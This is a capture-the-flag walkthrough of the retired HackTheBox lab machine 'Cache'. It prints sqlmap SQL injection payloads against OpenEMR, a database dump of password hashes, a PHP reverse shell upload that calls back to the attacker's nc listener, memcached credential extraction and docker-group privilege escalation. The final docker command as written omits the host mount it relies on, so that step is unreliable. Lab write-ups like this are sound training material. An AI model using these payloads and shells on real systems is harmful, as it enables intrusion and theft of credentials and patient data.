HacktheBox Writeup — Cache (Retired)
Cache is a smooth machine if you know where to look…
Note: I saw this in my drafts and waited to publish it after it was retired to respect the guidelines set in place by HackTheBox.
Preparation
We proceed to update our /etc/hosts
file with the ip address of our cache machine to “cache.htb”, we also run an nmap scan for any ports for us.
nmap -T4 -A -p- cache.htb
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
We got two standard ports with updated versions on both so let’s move to enumerate port 80…
Enumeration
When we connect to http://cache.htb:80/
we are met with a information site about hacking, cool. We navigate to the tab Author
and see that someone name “ASH” is the likely the admin. Out of curiosity we test to see if our prediction is right with matching it against the ssh service.
ssh ash@cache.htb
It prompted us for a password meaning our guess was right. This user “ASH” is important… we proceed to navigate to the Login
page. When we tried leaving both fields black we were met with the responses Password didn't Match
and Username didn't match
but when we use “ash” for our password and a random password we only get Password didn't Match
meaning our guess was right. We proceed to check for any clues in Inspect Element (Q).
We notice on the Network
tab there is a decent amount of traffic for a login page but only two GET
requests have a code 200 so we open functionality.js
in another page and we have credentials…
$(function(){
var error_correctPassword = false;
var error_username = false;
function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false;
checkCorrectUsername();if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});
});
Probably not the smartest idea to use this as a way to verify credentials but we aren’t complaining. The credentials work and we are met with an page that is “…still underconstruction” ok? There isn’t much at all even after taking a look at the Inspect Element
.
We go back to the Author
tab for any other information and we find something else interesting. After a friend gave me a nudge saying “There’s a hidden service just look” I looked for any keywords until I came with to this and forgot that there can be two domains pointing off one ip.
For a page made for finding information on hacking you wouldn’t assume he/she has a management system for a hostpital. Likely it is hidden somehow. The text is small so let’s try to update our /etc/hosts
file with “hms.htb” since if our guess would be something is waiting for us to connect as that url instead of the “cache.htb” url.
vi/vim/nano /etc/hosts
Well our guess was right “ASH” had a management system listening on a different domain. (Don’t try ash.htb it comes back negative)
We open Inspect Element
on the Network
tab before we try using the same credentials because people repeat their mistakes. Well in this case they didn’t the site is pulling the username and password from a database. While we were doing that dirbuster
was having a field day which meant a long day for us to go through and find anything interesting. We find five interesting links…
- http://hms.htb/interface/login/login.php?site=default which was the first site we were met with that was a login page which is also likely an admin login page since there isn’t any other “admin” login page.
- http://hms.htb/portal/index.php?site=default&w&u which is a
Patient Portal Login
page which didn’t bare any fruit. - http://hms.htb/portal/account/register.php a patient register page which when we spent a half hour going through different entries came to the fact that they don’t actually send you the credentials from the information you inputted as well as the
Send Request
didn’t actually do anything. - http://hms.htb/admin.php shocked there was an “admin” page we could access but bore no fruit because although it is a “Site Admin” panel it can configure anything and when prompted to add another site that is denied as you can only have one site at a time. It also told us the version of the site and knowing HackTheBox it’s a vulnerable version. When we matched it up on google we found exploits specifically for our version funny right? Though for the exploit we would need the username and password so we will worry about that later…
- http://hms.htb/portal/add_edit_event_user.php was a process because it was when you clicked
Register
here which would redirect you here then you could connect to that url which would bring you here…
You would think since you can “edit” an “event” you could use something to identify an “event”. We proceed to test the url for sqli because the “event” has to go somewhere and identify somehow. We test different url’s until we got a response we want…
Exploit
We should run this against sqlmap
for any vulnerabilities. We use burpsuite
to intercept the request so when we run sqlmap
we don’t have to add the cookies and headers manually because that’s is unnecessary work that can be avoided… We put our headers into a text file (check.txt) for sqlmap
. If the commands are at all confusing refer here for any help. Example:
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OpenEMR=8cqnfnk60tmn10lknnk2apm5n2; PHPSESSID=nbaa5ctmpjtcu0gca6r157n725
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r ~/check.txt --dbs — batch
You should get something like…
[18:31:02] [INFO] testing connection to the target URL
got a 302 redirect to 'http://hms.htb:80/portal/index.php?site=default&w'. Do you want to follow? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (4957=4957) THEN 1 ELSE (SELECT 9598 UNION SELECT 6951) END))Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(7015,CONCAT(0x5c,0x7162707171,(SELECT (ELT(7015=7015,1))),0x716a786b71))Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 9112 FROM (SELECT(SLEEP(5)))QrDa)Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7162707171,0x4a46626f63455742734473446672714261716448546f674c6d4e524e4178676f5673576a44577175,0x716a786b71),NULL-- -
---
[18:31:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:31:02] [INFO] fetching database names
[18:31:02] [INFO] resumed: 'information_schema'
[18:31:02] [INFO] resumed: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr
Nice! we got two databases. We proceed to open the tables for db openemr
.
| users |
| users_facility |
| users_secure |
| valueset |
| voids |
| x12_partners |
+---------------------------------------+
Great! we got two user tables. We proceed to open the table users_secure
.
User Own
sqlmap -r /home/kali/Desktop/check.txt — dbs — batch openemr -T users_secure — dump
It shows us a hashed password for an account openemr_admin : xxxxxx
which works in the login panel. We have the option to either use a premade exploit for OpenEMS or use upload a reverse shell. One sounds more work than the other but damn do I love the concept of reverse shells. After surfing our little admin panel for answers we find a little “manual” to upload our reverse shell as patients information. We pull and edit our shell from: /usr/share/webshells/php/reverse-php-shell.php
Steps for uploading CCR XMLFor an existing patient, go to Patient Summary->Documents. For a new patient, go to Miscellanous->New Documents.
Upload the xml file under the category CCR.
After Uploading, click `Import`.
Approve the patient from Patient/Client->Import->Pending Approval.
Seems simple enough we navigate to the Miscellanous
tab and click on the Patient Information
folder and find an upload page. I pray I don’t have to take a snack break because they check for extensions. We upload our php reverse shell as test.php
and it even tells us where it’s located I would say we should use dirsearch
to make sure our file is there but I already set up a netcat
listener and used curl
to send us the shell…
curl http://hms.htb/public_html/sites/default/documents/00/2150/test.php
nc -lvnp 1234
root@kali:/home/kali/Downloads# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.237] from (UNKNOWN) [10.10.10.188] 44836
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
01:21:42 up 3:01, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
luffy pts/0 10.10.14.251 00:55 21:26 0.62s 0.15s docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
$ whoami
www-data
We navigate to /home/
and find two users: ash
and luffy
. We don’t know who luffy
is but we sure as hell know who ash
is and his credentials we used earlier. We proceed to test his password when we su
to him. Our password H@v3_fu
n works and we are able to cat
the flag user.txt
.
Root Own
Alright after a quick sudo -l
we find out we aren’t part of the sudoers so let’s turn to the/etc/passwd
file for who we can su
to that has sudo permissions.
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
All in all the users are standard but these three…
- Ash: we already have access to him including his password but he can’t run anything as root and isn’t in any interesting group.
- Luffy: we don’t know anything about the user besides the fact that he/she had a directory in
/home
that wasn’t accessible to us as ash. - Memcache: mainly known as Memcached is a system that caches memory to make website driven databases more efficient. Normally it runs on a separate system on port 11211 but after a quick
netstat -tulpn
we find out our special port is open and on and listening onlocalhost
.
Well we cant go anywhere else so we might as well try it…Going in we run another nc -lvnp 1234
and activate our reverse shell for two shells. I was also very new to the commands used in this system so if anything is confusing use this as a reference.
nc localhost 11211
stats
stats slabs
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 2575
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
We see there is only one slab so let’s open it… If the command below is odd 1 is the slab ID and 0 just means dump all the keys.
stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
We use the command get *item*
to find the username and password for luffy within user
and passwd
.
Credentials: luffy : 0n3_p1ec3
He isn’t part of the sudoers
but we find out after a quick id
he is part of the docker
group. After a quick docker images
we find our possible one option to get our root flag.
docker run -it ubuntu /bin/bash
It runs and within /root
we find our long awaited root.txt
.
Final Thoughts
Overall I liked the machine even though it took me hours to find out there was another domain which I am not proud of but that was to be expected when I didn’t bother to think to check. It also refreshed me up on docker and introduced me to Memcached which even youtube uses.